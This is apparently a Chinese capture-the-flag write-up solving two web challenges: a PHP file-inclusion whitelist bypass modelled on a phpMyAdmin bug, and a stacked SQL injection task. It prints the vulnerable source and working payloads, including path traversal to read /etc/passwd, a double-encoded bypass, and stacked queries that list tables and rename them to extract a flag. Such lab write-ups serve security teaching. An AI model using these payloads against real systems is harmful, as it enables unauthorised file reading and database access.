index.php
<html lang="en"> <head> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!--source.php--> <br><img src="http://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body> </html>访问source.php
题目源码
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; ----- A if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } ----- A ----- B $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } ----- B ----- C $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } ----- C echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=http://www.likecs.com/\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>题目原型
phpMyAdmin文件包含漏洞
代码审计
0x00 include $_REQUEST['file']; 存在文件包含漏洞
0x01 A段检测传入的$page是否为白名单中的值
0x02 B段检测$page中?前部分是否为白名单中的值
0x03 C段先对 $_page进行url解码后再检测$_page中?前部分是否为白名单中的值
解题思路
0x00 构造如下基础结构的$_REQUEST['file']进行任意文件读取
payload: ?file=aaa/../bbb如何理解aaa/../bbb
aaa/表示当前文件同级目录下的文件夹名(不检测该文件是否存在)
../bbb表示aaa/文件夹所在目录的父级目录下的文件名
father ├── aaa(文件夹 不一定要存在) └── bbb(文件 一定要存在)0x01 满足 emmm:checkFile($_REQUEST['file']) == True
解题方法
A段无法利用
令B段返回True
payload: ?file=source.php?/../../../../etc/passwd通过回显知道payload正确,根据hint.php的提示得到flag
payload: ?file=source.php?/../../../../ffffllllaaaagggg网上有人说include中不能有?,不清楚是什么情况,本人测试中没遇到问题
故也可以利用C段进行?的绕过
payload: ?file=source.php%253f/../../../../ffffllllaaaagggg别忘了对%进行编码转换为 %25,因为url解析会自动进行url解码
疑问解析
之前有人有疑问表示不清楚目录穿越到底要穿多少层才能到根目录
其实多写几个../就可以了,因为一旦到根目录了,写几个../都还是在根目录上
随便注先进行简单测试,发现存在过滤
payload: ?inject=' union select 1,2,3--+ return : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);测试中发现存在堆叠注入
查询当前数据库表结构
payload: ?inject=';show tables;desc `1919810931114514`;desc words; MariaDB [test]> desc `1919810931114514`; --A +-------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+-------+ | flag | varchar(100) | NO | | NULL | | +-------+--------------+------+-----+---------+-------+ 1 row in set (0.01 sec) MariaDB [test]> desc words; --B +-------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+-------------+------+-----+---------+-------+ | id | int(10) | NO | | NULL | | | data | varchar(20) | NO | | NULL | | +-------+-------------+------+-----+---------+-------+ 2 rows in set (0.00 sec)有一个细节在A和B处,这个细节在之后至关重要
A用全数字做表名,在使用时需要用反引号包裹,不然会产生错误,但如果半数字半字符则不需要
MariaDB [test]> desc 0d4y; +-------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+-------+ | name | varchar(100) | NO | | NULL | | +-------+--------------+------+-----+---------+-------+ 1 row in set (0.01 sec) MariaDB [test]> desc 1919810931114514; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1919810931114514' at line 1题目有多种解法,一下进行三种解法的解析
0x00 重命名通过测试可以猜测后台sql代码
$sql = select id, data from words where id = '{$id}';解题思路
0x00 把1919810931114514改名为words,之后将1919810931114514中的字段flag改名为id
0x01 利用mysql特性构造' or '1得到flag